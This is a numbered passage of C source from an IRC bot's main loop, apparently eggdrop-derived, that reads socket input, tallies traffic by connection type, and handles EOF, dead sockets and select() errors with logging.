  814. } else
  815. socket_cleanup--;
  816. xx = sockgets(buf, &i);
  817. if (xx >= 0) { /* Non-error */
  818. int idx;
  819. for (idx = 0; idx < dcc_total; idx++)
  820. if (dcc[idx].sock == xx) {
  821. if (dcc[idx].type && dcc[idx].type->activity) {
  822. /* Traffic stats */
  823. if (dcc[idx].type->name) {
  824. if (!strncmp(dcc[idx].type->name, "BOT", 3))
  825. traffic.in_today.bn += strlen(buf) + 1;
  826. else if (!strcmp(dcc[idx].type->name, "SERVER"))
  827. traffic.in_today.irc += strlen(buf) + 1;
  828. else if (!strncmp(dcc[idx].type->name, "CHAT", 4))
  829. traffic.in_today.dcc += strlen(buf) + 1;
  830. else if (!strncmp(dcc[idx].type->name, "FILES", 5))
  831. traffic.in_today.dcc += strlen(buf) + 1;
  832. else if (!strcmp(dcc[idx].type->name, "SEND"))
  833. traffic.in_today.trans += strlen(buf) + 1;
  834. else if (!strncmp(dcc[idx].type->name, "GET", 3))
  835. traffic.in_today.trans += strlen(buf) + 1;
  836. else
  837. traffic.in_today.unknown += strlen(buf) + 1;
  838. }
  839. dcc[idx].type->activity(idx, buf, i);
  840. } else
  841. putlog(LOG_MISC, "*",
  842. "!!! untrapped dcc activity: type %s, sock %li",
  843. dcc[idx].type->name, dcc[idx].sock);
  844. break;
  845. }
  846. } else if (xx == -1) { /* EOF from someone */
  847. int idx;
  848. if (i == STDOUT && !backgrd)
  849. fatal("END OF FILE ON TERMINAL", 0);
  850. for (idx = 0; idx < dcc_total; idx++)
  851. if (dcc[idx].sock == i) {
  852. if (dcc[idx].type && dcc[idx].type->eof)
  853. dcc[idx].type->eof(idx);
  854. else {
  855. putlog(LOG_MISC, "*",
  856. "*** ATTENTION: DEAD SOCKET (%d) OF TYPE %s UNTRAPPED",
  857. i, dcc[idx].type ? dcc[idx].type->name : "*UNKNOWN*");
  858. killsock(i);
  859. lostdcc(idx);
  860. }
  861. idx = dcc_total + 1;
  862. }
  863. if (idx == dcc_total) {
  864. putlog(LOG_MISC, "*", "(@) EOF socket %d, not a dcc socket, not anything.", i);
  865. close(i);
  866. killsock(i);
  867. }
  868. } else if (xx == -2 && errno != EINTR) { /* select() error */
  869. putlog(LOG_MISC, "*", "* Socket error #%d; recovering.", errno);
  870. for (i = 0; i < dcc_total; i++) {
  871. if ((fcntl(dcc[i].sock, F_GETFD, 0) == -1) && (errno = EBADF)) {
  872. putlog(LOG_MISC, "*",
  873. "DCC socket %li (type %s, name '%s') expired -- pfft",
  874. dcc[i].sock, dcc[i].type->name, dcc[i].nick);
  875. killsock(dcc[i].sock);
  876. lostdcc(i);
  877. i--;
  878. }
  879. }
  880. } else if (xx == -3) {
  881. #ifdef LEAF
  882. flush_modes();
  883. #endif /* LEAF */
  884. socket_cleanup = 0; /* If we've been idle, cleanup & flush */
  885. }
  886. }
  887. return 0; /* never reached but what the hell */
  888. }